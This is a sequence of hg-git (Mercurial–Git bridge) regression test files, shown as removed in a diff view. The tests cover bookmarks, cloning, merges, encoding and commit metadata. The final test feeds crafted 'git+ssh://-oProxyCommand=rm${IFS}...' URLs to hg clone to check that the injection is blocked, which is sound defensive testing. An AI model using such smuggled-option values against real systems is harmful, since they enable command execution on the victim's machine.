3442585be8a6 "add alpha" bookmarks: [b2]
$ hg incoming -B
comparing with $TESTTMP/hgremoterepo
searching for changed bookmarks
b3 fc2664cac217
b4 d979bb8e0fbb
$ hg outgoing
comparing with $TESTTMP/hgremoterepo
searching for changes
no changes found
[1]
As of 2.3, Mercurial's outgoing -B doesn't actually show changed bookmarks
It only shows "new" bookmarks. Thus, b1 doesn't show up.
This changed in 3.4 to start showing changed and deleted bookmarks again.
$ hg outgoing -B | egrep -v -w 'b1|b3|b4'
comparing with $TESTTMP/hgremoterepo
searching for changed bookmarks
b2 3442585be8a6
$ cd ..
$ cd gitremoterepo
$ git branch b3 master
$ git checkout -b b4 master
Switched to a new branch 'b4'
$ echo epsilon > epsilon
$ git add epsilon
$ gitcommit -m 'add epsilon'
$ gitstate
fcfd2c0 "add epsilon" refs: (*b4) (glob)
55b133e "add delta" refs: (master, b3)
d338971 "add gamma" refs:
9497a4e "add beta" refs: (b1)
7eeab2e "add alpha" refs:
$ cd ..
$ cd hggitlocalrepo
$ hg bookmark -fr 2 b1
$ hg bookmark -r 0 b2
$ hgstate
3783f3cdb535 "add delta" bookmarks: [master]
1221213928d3 "add gamma" bookmarks: [b1]
3bb02b6794dd "add beta" bookmarks: []
69982ec78c6d "add alpha" bookmarks: [b2]
$ hg incoming -B
comparing with $TESTTMP/gitremoterepo
searching for changed bookmarks
b3 3783f3cdb535
b4 fcfd2c0262db
$ hg outgoing
comparing with $TESTTMP/gitremoterepo
no changes found
[1]
As of 2.3, Mercurial's outgoing -B doesn't actually show changed bookmarks
It only shows "new" bookmarks. Thus, b1 doesn't show up.
This changed in 3.4 to start showing changed and deleted bookmarks again.
$ hg outgoing -B | egrep -v -w 'b1|b3|b4'
comparing with $TESTTMP/gitremoterepo
searching for changed bookmarks
b2 69982ec78c6d
$ cd ..

View File

@ -1,86 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ git checkout -b beta
Switched to a new branch 'beta'
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ cd ..
clone a branch
$ hg clone -r beta gitrepo hgrepo-b 2>&1 | grep -v '^updating'
importing git objects into hg
2 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgrepo-b log --graph
@ commit: 3bb02b6794dd
bookmark: beta
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: 69982ec78c6d
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
Make sure this is still draft since we didn't pull remote's HEAD
$ hg -R hgrepo-b phase -r beta
3bb02b6794ddc0b498cdc15f59f2e6724cabfa2f: draft
clone with mapsavefreq set
$ rm -rf hgrepo-b
$ hg clone -r beta gitrepo hgrepo-b --config hggit.mapsavefrequency=1 --debug 2>&1 | egrep "(saving|committing)"
committing files:
committing manifest
committing changelog
committing transaction
saving mapfile
committing files:
committing manifest
committing changelog
committing transaction
saving mapfile
Make sure that a deleted .hgsubstate does not confuse hg-git
$ cd gitrepo
$ echo 'HASH random' > .hgsubstate
$ git add .hgsubstate
$ fn_git_commit -m 'add bogus .hgsubstate'
$ git rm -q .hgsubstate
$ fn_git_commit -m 'remove bogus .hgsubstate'
$ cd ..
$ hg clone -r beta gitrepo hgrepo-c
importing git objects into hg
updating to branch default
2 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg --cwd hgrepo-c status
clone empty repo
$ git init -q empty
$ hg clone empty emptyhg
updating to branch default
0 files updated, 0 files merged, 0 files removed, 0 files unresolved
Ensure hggit.disallowinitbare blocks initting .hg/git
$ hg init nogitbare
$ cd nogitbare
$ cat >> .hg/hgrc <<EOF
> [hggit]
> disallowinitbare=True
> EOF
$ hg pull ../empty
pulling from ../empty
abort: missing .hg/git repo
[255]

View File

@ -1,72 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ hg init hgrepo1
$ cd hgrepo1
$ echo A > afile
$ hg add afile
$ hg ci -m "origin"
$ echo B > afile
$ hg ci -m "A->B"
$ hg up -r'desc(origin)'
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ echo C > afile
$ hg ci -m "A->C"
$ hg merge -r7205e83b5a3fb01334c76fef35a69c912f5b2ba3
merging afile
warning: 1 conflicts while merging afile! (edit, then use 'hg resolve --mark')
0 files updated, 0 files merged, 0 files removed, 1 files unresolved
use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
[1]
resolve using first parent
$ echo C > afile
$ hg resolve -m afile | egrep -v 'no more unresolved files' || true
$ hg ci -m "merge to C"
$ hg log --graph --style compact
@ 6c53bc0f062f 1970-01-01 00:00 +0000 test
merge to C
o ea82b67264a1 1970-01-01 00:00 +0000 test
A->C
o 7205e83b5a3f 1970-01-01 00:00 +0000 test
A->B
o 5d1a6b64f9d0 1970-01-01 00:00 +0000 test
origin
$ cd ..
$ git init -q --bare gitrepo
$ cd hgrepo1
$ hg bookmark -r tip master
$ hg push -r master ../gitrepo
pushing to ../gitrepo
searching for changes
adding objects
added 4 commits with 3 trees and 3 blobs
$ cd ..
$ hg clone gitrepo hgrepo2 | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
expect the same revision ids as above
$ hg -R hgrepo2 log --graph --style compact
@ [master] b70d5f2ec3c4 1970-01-01 00:00 +0000 test
merge to C
o 47fc555571b8 1970-01-01 00:00 +0000 test
A->B
o 8ec5b459b86e 1970-01-01 00:00 +0000 test
A->C
o fd5eb788c3a1 1970-01-01 00:00 +0000 test
origin

View File

@ -1,72 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ hg init hgrepo1
$ cd hgrepo1
$ echo A > afile
$ hg add afile
$ hg ci -m "origin"
$ echo B > afile
$ hg ci -m "A->B"
$ hg up -r'desc(origin)'
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ echo C > afile
$ hg ci -m "A->C"
$ hg merge -r7205e83b5a3fb01334c76fef35a69c912f5b2ba3
merging afile
warning: 1 conflicts while merging afile! (edit, then use 'hg resolve --mark')
0 files updated, 0 files merged, 0 files removed, 1 files unresolved
use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
[1]
resolve using second parent
$ echo B > afile
$ hg resolve -m afile | egrep -v 'no more unresolved files' || true
$ hg ci -m "merge to B"
$ hg log --graph --style compact
@ 120385945d08 1970-01-01 00:00 +0000 test
merge to B
o ea82b67264a1 1970-01-01 00:00 +0000 test
A->C
o 7205e83b5a3f 1970-01-01 00:00 +0000 test
A->B
o 5d1a6b64f9d0 1970-01-01 00:00 +0000 test
origin
$ cd ..
$ git init -q --bare gitrepo
$ cd hgrepo1
$ hg bookmark -r tip master
$ hg push -r master ../gitrepo
pushing to ../gitrepo
searching for changes
adding objects
added 4 commits with 3 trees and 3 blobs
$ cd ..
$ hg clone gitrepo hgrepo2 | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
expect the same revision ids as above
$ hg -R hgrepo2 log --graph --style compact
@ [master] df42911f11c1 1970-01-01 00:00 +0000 test
merge to B
o 47fc555571b8 1970-01-01 00:00 +0000 test
A->B
o 8ec5b459b86e 1970-01-01 00:00 +0000 test
A->C
o fd5eb788c3a1 1970-01-01 00:00 +0000 test
origin

View File

@ -1,77 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ hg init hgrepo1
$ cd hgrepo1
$ echo A > afile
$ hg add afile
$ hg ci -m "origin"
$ echo B > afile
$ hg ci -m "A->B"
$ echo C > afile
$ hg ci -m "B->C"
$ hg up -r'desc(origin)'
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ echo C > afile
$ hg ci -m "A->C"
$ hg merge -r0dbe4ac1a7586d1642016eea4781390285b7b536
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
(branch merge, don't forget to commit)
$ hg ci -m "merge"
$ hg log --graph --style compact
@ eaa21d002113 1970-01-01 00:00 +0000 test
merge
o ea82b67264a1 1970-01-01 00:00 +0000 test
A->C
o 0dbe4ac1a758 1970-01-01 00:00 +0000 test
B->C
o 7205e83b5a3f 1970-01-01 00:00 +0000 test
A->B
o 5d1a6b64f9d0 1970-01-01 00:00 +0000 test
origin
$ cd ..
$ git init -q --bare gitrepo
$ cd hgrepo1
$ hg bookmark -r'desc(merge)' master
$ hg push -r master ../gitrepo
pushing to ../gitrepo
searching for changes
adding objects
added 5 commits with 3 trees and 3 blobs
$ cd ..
$ hg clone gitrepo hgrepo2 | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
expect the same revision ids as above
$ hg -R hgrepo2 log --graph --style compact
@ [master] b08a922386d5 1970-01-01 00:00 +0000 test
merge
o 8bfd72bff163 1970-01-01 00:00 +0000 test
B->C
o 47fc555571b8 1970-01-01 00:00 +0000 test
A->B
o 8ec5b459b86e 1970-01-01 00:00 +0000 test
A->C
o fd5eb788c3a1 1970-01-01 00:00 +0000 test
origin
$ hg -R hgrepo2 gverify
verifying rev b08a922386d5 against git commit fb8c9e2afe5418cfff337eeed79fad5dd58826f0

View File

@ -1,34 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ git commit --allow-empty -m empty
[master (root-commit) 6782568] empty
$ cd ..
$ git init -q --bare gitrepo2
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
0 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ hg log -r tip --template 'files: {files}\n'
files:
$ hg gverify
verifying rev fff47be752a2 against git commit 678256865a8c85ae925bf834369264193c88f8de
$ hg gclear
clearing out the git cache data
$ hg push ../gitrepo2
pushing to ../gitrepo2
searching for changes
adding objects
added 1 commits with 1 trees and 0 blobs
$ cd ..
$ git --git-dir=gitrepo2 log --pretty=medium
commit d053da5f0bb9a1a7eb0dd82f36ddc3b1cd378527
Author: test <test@example.org>
Date: Mon Jan 1 00:00:00 2007 +0000
empty

View File

@ -1,120 +0,0 @@
$ disable treemanifest
# -*- coding: utf-8 -*-
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
utf-8 encoded commit message
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add älphà'
Create some commits using latin1 encoding
The warning message changed in Git 1.8.0
$ . $TESTDIR/hggit/latin-1-encoding
Warning: commit message (did|does) not conform to UTF-8. (re)
You may want to amend it after fixing the message, or set the config
variable i18n.commitencoding to the encoding your project uses.
Warning: commit message (did|does) not conform to UTF-8. (re)
You may want to amend it after fixing the message, or set the config
variable i18n.commitencoding to the encoding your project uses.
$ cd ..
$ git init -q --bare gitrepo2
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
4 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ HGENCODING=utf-8 hg log --graph --debug | grep -v 'phase:' | grep -v ': *author=' | grep -v ': *message='
@ commit: 3c284d9743de7c02ac66b8b5ce10d39efd38d7bc
bookmark: master
manifest: ea49f93388380ead5601c8fcbfa187516e7c2ed8
user: tést èncödîng <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
files+: delta
extra: branch=default
extra: committer=test <test@example.org> 1167609613 0
extra: convert_revision=51c509c1c7eeb8f0a5b20aa3e894e8823f39171f
extra: encoding=latin-1
extra: hg-git-rename-source=git
description:
add déltà
o commit: 727e37c486803fce561d97a80721324febade37e
manifest: f580e7da3673c137370da2b931a1dee83590d7b4
user: tést èncödîng <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
files+: gamma
extra: branch=default
extra: committer=test <test@example.org> 1167609612 0
extra: convert_revision=bd576458238cbda49ffcfbafef5242e103f1bc24
extra: hg-git-rename-source=git
description:
add gämmâ
o commit: 5408f831a4d1a1d6ecccdddbe04c5a8b888a33c1
manifest: f0bd6fbafbaebe4bb59c35108428f6fce152431d
user: tést èncödîng <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
files+: beta
extra: branch=default
extra: committer=test <test@example.org> 1167609611 0
extra: convert_revision=7a7e86fc1b24db03109c9fe5da28b352de59ce90
extra: hg-git-rename-source=git
description:
add beta
o commit: b1884a2b1964e4881e235f33485aebc34ee61b90
manifest: 8b8a0e87dfd7a0706c0524afa8ba67e20544cbf0
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
files+: alpha
extra: branch=default
extra: convert_revision=0530b75d8c203e10dc934292a6a4032c6e958a83
extra: hg-git-rename-source=git
description:
add \xc3\xa4lph\xc3\xa0 (esc)
| parent: 1:(9f6268bfc9eb3956c5ab8752d7b983b0ffe57115|955b24cf6f8f293741d3f39110c6fe554c292533) (re)
$ hg gclear
clearing out the git cache data
$ hg push ../gitrepo2
pushing to ../gitrepo2
searching for changes
adding objects
added 4 commits with 4 trees and 4 blobs
$ cd ..
$ git --git-dir=gitrepo2 log --pretty=medium
commit 21cee4094d142130e18dce6bd1e3a60accd6799b
Author: t\xe9st \xe8nc\xf6d\xeeng <test@example.org> (esc)
Date: Mon Jan 1 00:00:13 2007 +0000
add d\xe9lt\xe0 (esc)
commit 4e120a5e4b8f6440e5f4aea0da3b1ddc8960186f
Author: * <test@example.org> (glob)
Date: Mon Jan 1 00:00:12 2007 +0000
add g*mm* (glob)
commit 4840d5849378794ea269174845d7fc2ae19506a0
Author: * <test@example.org> (glob)
Date: Mon Jan 1 00:00:11 2007 +0000
add beta
commit 075e54047ff498b9229fc127668d157095658b04
Author: test <test@example.org>
Date: Mon Jan 1 00:00:10 2007 +0000
add älphà

View File

@ -1,72 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ setconfig hggit.mapsavefrequency=1
# Set up the git repo
$ cd "$TESTTMP"
$ git init -q gitrepo
$ cd gitrepo
$ echo commit1 > commit1
$ git add .
$ fn_git_commit -m 'commit1'
Clone the repo
$ cd "$TESTTMP"
$ hg clone -q -r master gitrepo hgrepo
Add more commits
$ cd "$TESTTMP/gitrepo"
$ echo commit2 > commit2
$ git add .
$ fn_git_commit -m 'commit2'
$ echo commit3 > commit3
$ git add .
$ fn_git_commit -m 'commit3'
$ echo commit4 > commit4
$ git add .
$ fn_git_commit -m 'commit4'
Pull one of them
$ cd "$TESTTMP/hgrepo"
$ hg log -r tip -T '{desc}\n'
commit1
$ hg external-sync "$TESTTMP/gitrepo" master 1
importing up to 1 commits from $TESTTMP/gitrepo in master
importing git objects into hg
imported 1 commits
$ hg log -r tip -T '{desc}\n'
commit2
Pull the rest
$ hg external-sync "$TESTTMP/gitrepo" master 3
importing up to 3 commits from $TESTTMP/gitrepo in master
importing git objects into hg
imported 2 commits
$ hg log -r tip -T '{desc}\n'
commit4
$ hg up tip
3 files updated, 0 files merged, 0 files removed, 0 files unresolved
(leaving bookmark master)
$ ls
commit1
commit2
commit3
commit4
Nothing left ot pull
$ hg external-sync "$TESTTMP/gitrepo" master 100
importing up to 100 commits from $TESTTMP/gitrepo in master
no changes found
imported 0 commits

View File

@ -1,191 +0,0 @@
Test that extra metadata (renames, copies, and other extra metadata) roundtrips
across from hg to git
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ touch a
$ git add a
$ fn_git_commit -ma
$ git checkout -b not-master
Switched to a new branch 'not-master'
$ cd ..
$ hg clone -q gitrepo hgrepo
$ cd hgrepo
$ hg mv a b
$ fn_hg_commit -mb
$ hg up 'desc(a)' | egrep -v '^\(leaving bookmark'
1 files updated, 0 files merged, 1 files removed, 0 files unresolved
$ touch c
$ hg add c
$ fn_hg_commit -mc
Rebase will add a rebase_source
(The 'rebasing' is extra output in Mercurial 3.3+)
$ hg --config extensions.rebase= rebase -s 'desc(b)' -d 'desc(c)' | grep -v '^rebasing '
[1]
$ hg up 'desc(b)'
1 files updated, 0 files merged, 1 files removed, 0 files unresolved
Add a commit with multiple extra fields
$ hg bookmark b1
$ touch d
$ hg add d
$ fn_hg_commitextra --field zzzzzzz=datazzz --field aaaaaaa=dataaaa
$ hg log --graph --template "{node} {desc|firstline}\n{join(extras, ' ')}\n\n"
@ f85ec44c632713d6fa812de1bf18a530e1dd6551
aaaaaaa=dataaaa branch=default zzzzzzz=datazzz
o f3c80cf66a137d4862c82e4df65a7c952aad36af b
branch=default rebase_source=26b80d272c9a2d4455e269005f4f250adc4c05b8
o 907635da058b4bd98a9594843a3bb7c61baed082 c
branch=default
o 5b699970cd13b5f95f6af5f32781d80cfa2e813b a
branch=default convert_revision=ad4fd0de4cb839a7d2d1c2497f8a2c230a2726e9 hg-git-rename-source=git
Make sure legacy extra (in commit message, after '--HG--') doesn't break
$ hg push -r b1 --config git.debugextrainmessage=1
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 3 commits with 3 trees and 0 blobs
adding reference refs/heads/b1
$ hg bookmark b2
$ hg mv c c2
$ hg mv d d2
$ fn_hg_commitextra --field yyyyyyy=datayyy --field bbbbbbb=databbb
Test some nutty filenames
$ hg book b3
$ hg mv c2 'c2 => c3'
warning: filename contains '>', which is reserved on Windows: 'c2 => c3'
$ fn_hg_commit -m 'test filename with arrow'
$ hg mv 'c2 => c3' 'c3 => c4'
warning: filename contains '>', which is reserved on Windows: 'c3 => c4'
$ fn_hg_commit -m 'test filename with arrow 2'
$ hg log --graph --template "{node} {desc|firstline}\n{join(extras, ' ')}\n\n" -l 3 --config "experimental.graphstyle.missing=|"
@ decbc0c79131e24c0f01a480f068af7f0957872e test filename with arrow 2
branch=default
o 30e7f0dfaf1aa9bc81fe995415900b76021df952 test filename with arrow
branch=default
o 256d56838c39ba60599eb69373038b88403ba2e4
bbbbbbb=databbb branch=default yyyyyyy=datayyy
~
$ hg push -r b2 -r b3
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 3 commits with 3 trees and 0 blobs
adding reference refs/heads/b2
adding reference refs/heads/b3
$ cd ../gitrepo
$ git cat-file commit b1
tree 1b773a2eb70f29397356f8069c285394835ff85a
parent 2ab6104c03f0d6e0885470a7cc1bcd9b26f70bad
author test <none@none> 1167609613 +0000
committer test <none@none> 1167609613 +0000
--HG--
extra : aaaaaaa : dataaaa
extra : zzzzzzz : datazzz
$ git cat-file commit b2
tree 34ad62c6d6ad9464bfe62db5b3d2fa16aaa9fa9e
parent f554f3e7146694b2197fd3c853eef527ba264ae7
author test <none@none> 1167609614 +0000
committer test <none@none> 1167609614 +0000
HG:rename c:c2
HG:rename d:d2
HG:extra bbbbbbb:databbb
HG:extra yyyyyyy:datayyy
$ git cat-file commit b3
tree e63df52695f9b06e54b37e7ef60d0c43994de620
parent e16d81cc6d51456f445ddcd159b25361473d659c
author test <none@none> 1167609616 +0000
committer test <none@none> 1167609616 +0000
HG:rename c2%20%3D%3E%20c3:c3%20%3D%3E%20c4
test filename with arrow 2
$ cd ../gitrepo
$ git checkout b1
Switched to branch 'b1'
$ commit_sha=`git rev-parse HEAD`
$ tree_sha=`git rev-parse 'HEAD^{tree}'`
There's no way to create a Git repo with extra metadata via the CLI. Dulwich
lets you do that, though.
>>> from dulwich.objects import Commit
>>> from dulwich.porcelain import open_repo
>>> repo = open_repo('.')
>>> c = Commit()
>>> c.author = b'test <test@example.org>'
>>> c.author_time = 0
>>> c.author_timezone = 0
>>> c.committer = c.author
>>> c.commit_time = 0
>>> c.commit_timezone = 0
>>> c.parents = [b'$commit_sha']
>>> c.tree = b'$tree_sha'
>>> c.message = b'extra commit\n'
>>> c.extra.extend([(b'zzz:zzz', b'data:zzz'), (b'aaa:aaa', b'data:aaa'),
... (b'HG:extra', b'hgaaa:dataaaa'),
... (b'HG:extra', b'hgzzz:datazzz')])
>>> repo.object_store.add_object(c)
>>> repo.refs.set_if_equals(b'refs/heads/master', None, c.id)
True
$ git cat-file commit master
tree 1b773a2eb70f29397356f8069c285394835ff85a
parent f554f3e7146694b2197fd3c853eef527ba264ae7
author test <test@example.org> 0 +0000
committer test <test@example.org> 0 +0000
zzz:zzz data:zzz
aaa:aaa data:aaa
HG:extra hgaaa:dataaaa
HG:extra hgzzz:datazzz
extra commit
$ cd ..
$ hg clone -q gitrepo hgrepo2
$ cd hgrepo2
$ hg up -q 'desc("arrow 2")'
$ hg log --graph --template "{node} {desc|firstline}\n{join(extras, ' ')}\n\n"
@ 193fc708cfa16eb942a0dde3017d52c6743a43ae test filename with arrow 2
branch=default convert_revision=fb079f663e17f780a63855d7116b0b4f867b2371
o 1cc3fc4cf203075484b5dbb141d4eb91bd205dc1 test filename with arrow
branch=default convert_revision=e16d81cc6d51456f445ddcd159b25361473d659c
o f1aecb2ae22f40a9369287f87d5f987eeae1f25e
bbbbbbb=databbb branch=default convert_revision=acd860f8f036a235465c7d5e003ce9f28383b5f2 yyyyyyy=datayyy
o 0d9e73e512aa715e73f9f37be9c4dec4224d2615 extra commit
GIT0-zzz%3Azzz=data%3Azzz GIT1-aaa%3Aaaa=data%3Aaaa branch=default convert_revision=0f7316e5c44bf7af9199e8c728938ba3daf058cb hgaaa=dataaaa hgzzz=datazzz
o f9541591947764cf1c54ec8331b0618b710807bc
aaaaaaa=dataaaa branch=default convert_revision=f554f3e7146694b2197fd3c853eef527ba264ae7 zzzzzzz=datazzz
o 4e11085eb947c77f6de15ee7a64d2752cb12b399 b
branch=default convert_revision=2ab6104c03f0d6e0885470a7cc1bcd9b26f70bad rebase_source=26b80d272c9a2d4455e269005f4f250adc4c05b8
o 1ec8735a89979fc3cb5e8edf1c03d6b61de3176b c
branch=default convert_revision=8728d16f575a12b85c99ddf5763972c3740515d9 hg-git-rename-source=git
o 5b699970cd13b5f95f6af5f32781d80cfa2e813b a
branch=default convert_revision=ad4fd0de4cb839a7d2d1c2497f8a2c230a2726e9 hg-git-rename-source=git

View File

@ -1,276 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ mkdir foo
$ echo blah > foo/bar
$ git add foo
$ fn_git_commit -m 'add foo'
$ git rm alpha
rm 'alpha'
$ fn_git_commit -m 'remove alpha'
$ git rm foo/bar
rm 'foo/bar'
$ fn_git_commit -m 'remove foo/bar'
$ ln -s beta betalink
$ git add betalink
$ fn_git_commit -m 'add symlink to beta'
replace symlink with file
$ rm betalink
$ echo betalink > betalink
$ git add betalink
$ fn_git_commit -m 'replace symlink with file'
replace file with symlink
$ rm betalink
$ ln -s beta betalink
$ git add betalink
$ fn_git_commit -m 'replace file with symlink'
$ git rm betalink
rm 'betalink'
$ fn_git_commit -m 'remove betalink'
final manifest in git is just beta
$ git ls-files
beta
$ git log --pretty=medium
commit 5ee11eeae239d6a99df5a99901ec00ffafbcc46b
Author: test <test@example.org>
Date: Mon Jan 1 00:00:18 2007 +0000
remove betalink
commit 2c7b324faeccb1acf89c35b7ad38e7956f5705fa
Author: test <test@example.org>
Date: Mon Jan 1 00:00:17 2007 +0000
replace file with symlink
commit ff0478d2ecc2571d01eb6d406ac29e4e63e5d3d5
Author: test <test@example.org>
Date: Mon Jan 1 00:00:16 2007 +0000
replace symlink with file
commit 5492e6e410e42df527956be945286cd1ae45acb8
Author: test <test@example.org>
Date: Mon Jan 1 00:00:15 2007 +0000
add symlink to beta
commit b991de8952c482a7cd51162674ffff8474862218
Author: test <test@example.org>
Date: Mon Jan 1 00:00:14 2007 +0000
remove foo/bar
commit b0edaf0adac19392cf2867498b983bc5192b41dd
Author: test <test@example.org>
Date: Mon Jan 1 00:00:13 2007 +0000
remove alpha
commit f2d0d5bfa905e12dee728b509b96cf265bb6ee43
Author: test <test@example.org>
Date: Mon Jan 1 00:00:12 2007 +0000
add foo
commit 9497a4ee62e16ee641860d7677cdb2589ea15554
Author: test <test@example.org>
Date: Mon Jan 1 00:00:11 2007 +0000
add beta
commit 7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03
Author: test <test@example.org>
Date: Mon Jan 1 00:00:10 2007 +0000
add alpha
$ cd ..
$ git init -q --bare gitrepo2
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ hg log --graph
@ commit: * (glob)
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:18 2007 +0000
summary: remove betalink
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:17 2007 +0000
summary: replace file with symlink
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:16 2007 +0000
summary: replace symlink with file
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:15 2007 +0000
summary: add symlink to beta
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:14 2007 +0000
summary: remove foo/bar
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: remove alpha
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add foo
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
make sure alpha is not in this manifest
$ hg manifest -r 'desc("remove alpha")'
beta
foo/bar
make sure that only beta is in the manifest
$ hg manifest
beta
$ hg gclear
clearing out the git cache data
$ hg push ../gitrepo2
pushing to ../gitrepo2
searching for changes
adding objects
added 9 commits with 8 trees and 5 blobs
$ cd ..
$ git --git-dir=gitrepo2 log --pretty=medium
commit 68c7019f1bfb2828f7f9200fac967921f06a1feb
Author: test <test@example.org>
Date: Mon Jan 1 00:00:18 2007 +0000
remove betalink
commit d59a3b386d681c94e5e79793b06c7333f221c443
Author: test <test@example.org>
Date: Mon Jan 1 00:00:17 2007 +0000
replace file with symlink
commit 9c7cc15377285c52231e122d00f0e134b352b0e6
Author: test <test@example.org>
Date: Mon Jan 1 00:00:16 2007 +0000
replace symlink with file
commit 03a89ec31682f257e820b4693e3f1b402f8c9d05
Author: test <test@example.org>
Date: Mon Jan 1 00:00:15 2007 +0000
add symlink to beta
commit e2d4ee11209b5ad206ceffb9ce31eb076b25f52e
Author: test <test@example.org>
Date: Mon Jan 1 00:00:14 2007 +0000
remove foo/bar
commit db5085c1477a08eb9735c425f9a605f919b6d3cd
Author: test <test@example.org>
Date: Mon Jan 1 00:00:13 2007 +0000
remove alpha
commit d5e6a099c8c0f2d8a407e1f1d86367b58526c2df
Author: test <test@example.org>
Date: Mon Jan 1 00:00:12 2007 +0000
add foo
commit dbed4f6a8ff04d4d1f0a5ce79f9a07cf0f461d7f
Author: test <test@example.org>
Date: Mon Jan 1 00:00:11 2007 +0000
add beta
commit 205598a42833e532ad20d80414b8e3b85a65936e
Author: test <test@example.org>
Date: Mon Jan 1 00:00:10 2007 +0000
add alpha
test with rename detection enabled
$ hg --config git.similarity=100 clone gitrepo hgreporenames | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgreporenames
$ hg log --graph
@ commit: * (glob)
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:18 2007 +0000
summary: remove betalink
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:17 2007 +0000
summary: replace file with symlink
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:16 2007 +0000
summary: replace symlink with file
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:15 2007 +0000
summary: add symlink to beta
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:14 2007 +0000
summary: remove foo/bar
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: remove alpha
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add foo
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: * (glob)
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha

View File

@ -1,59 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ cd ..
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
2 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgrepo log --graph
@ commit: 3bb02b6794dd
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: 69982ec78c6d
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
we should have some bookmarks
$ hg -R hgrepo book
* master 3bb02b6794dd
$ hg -R hgrepo gverify
verifying rev 3bb02b6794dd against git commit 9497a4ee62e16ee641860d7677cdb2589ea15554
test for ssh vulnerability
$ cat >> $HGRCPATH << EOF
> [ui]
> ssh = ssh -o ConnectTimeout=1
> EOF
$ hg clone 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null
abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
[255]
$ hg clone 'git+ssh://%2DoProxyCommand=rm${IFS}nonexistent/path' 2>&1 >/dev/null
abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
[255]
